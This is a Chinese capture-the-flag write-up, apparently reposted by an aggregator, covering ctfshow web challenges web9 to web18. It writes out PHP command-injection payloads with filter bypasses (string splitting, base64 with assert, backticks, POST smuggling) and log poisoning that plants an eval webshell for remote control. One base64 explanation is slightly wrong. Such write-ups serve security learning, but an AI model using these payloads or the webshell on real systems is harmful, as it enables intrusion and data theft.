ctfshow 做题 萌新 模块

Posted Goodric

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow 做题 萌新 模块相关的知识,希望对你有一定的参考价值。

ctfshow 做题 萌新 模块(4)

——

web9

给出提示: flag in config.php
所以我们是需要得到 config.php 文件里的内容。
代码中有 preg_match 函数,一开始以为是对这些函数进行过滤,后面才发现 else 后面才是回显错误,所以是必须用上这些给出的函数。

传入

?c=highlight_file(‘config.php’);

?c=system(‘cat config.php’);

——
——

web10

这题就是不能使用给出的这些函数。

使用 highlight_file()函数的别名 show_source() 函数得到 flag 。

还可以使用拆分函数字符的方法:

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');

——
——

web11

这题还是不能用上给出的这些字符。

继续

?c=show_source(‘config.php’);

——
——

web12

被过滤的字符又变多了。
过滤了字符点,文件名的字符也被过滤了。

收集常用的命令执行函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

这里用到一个反引号,就是先将命令中反引号的命令先执行,再执行整条命令的结果。
传入:
cat 字符中使用单引号或双引号或斜杆用于绕过 cat 被过滤。

?c=passthru("ca''t `ls`");

还有一个绕过过滤的方法,对被过滤的字符进行编码:

c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

c3lzdGVt 是 system 的 base64 编码,Y2F0IGNvbmZpZy5waHA= 是 cat config.php 的 base64 编码。

——
——

web13

分号和字符 file 也被过滤了。

分号被过滤,我们无法对语句进行闭合了,选择用 ?> 对语句进行闭合。
前面一题的 payload :

?c=passthru("ca''t `ls`")?>

还可以用到一个函数 assert() ,
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp 是 system(‘config.php’) 的 base64 编码。

——
——

web14

多过滤了一个括号的字符,就不能用命令执行的方法了。

这里用 get 和 post 结合传入参数。
先 GET 传入

?c=echo `$_POST[1]`?>

再进行 POST 传入

1=cat config.php

然后在 F12 源码中得到 flag 。
感觉做法有点类似于文件上传,即先传入一个可操作的参数,再用这个参数执行命令。

——
——

web15

等号、尖括号、问号、星号也被过滤了,即不能用 ?> 代替分号,参数后面也不能用等号接传入的值。
不过分号可以使用了。

前一题的方法
get 传入:

?c=echo `$_POST[1]`;

post 传入:

1=cat config.php

——
——

web16

代码告诉我们传入参数 c 。
满足 md5(“ctfshow$c”)===“a6f57ae38a22448c2f07f3f95f49c84e”) 即可回显 flag 。

md5 解密得到: ctfshow36d
即 c 的值为 36d

传入
?c=36d
得到 flag 。

——
——

web17

看到 include() 函数,可以判断这题用到文件包含的方法。

这题用到日志注入的方法,前面做过一题 web 模块中的 web4 也是用日志注入的方法。
尝试访问日志文件:

?c=/var/log/nginx/access.log

看到成功回显,说明可以运用这个方法。

把 User-Agent 的值改为一句话木马:

<?php @eval($_POST['a']);?>

然后用蚁剑连接。

html 文件夹里有个 36d.php 文件,打开里面的内容为 flag 。

——
——

web18

额,多过滤了字符 file ,还是不影响用前面的方法。
不过应该有更简单的方法,只需要对参数 c 传入特定的值就能回显 flag 。(不知道文件包含中伪协议的方法可不可用)

先尝试 ?c=/var/log/nginx/access.log 有回显,抓包把 User-Agent 的值改为一句话木马,然后用蚁剑连接,打开文件 36d.php 得到 flag 。

以上是关于ctfshow 做题 萌新 模块的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow 做题 萌新 模块

ctfshow 做题 萌新 模块

ctfshow 做题 萌新 模块

ctfshow 做题 萌新 模块

ctfshow 做题 MISC入门 模块

ctfshow 信息搜集模块做题 web1~20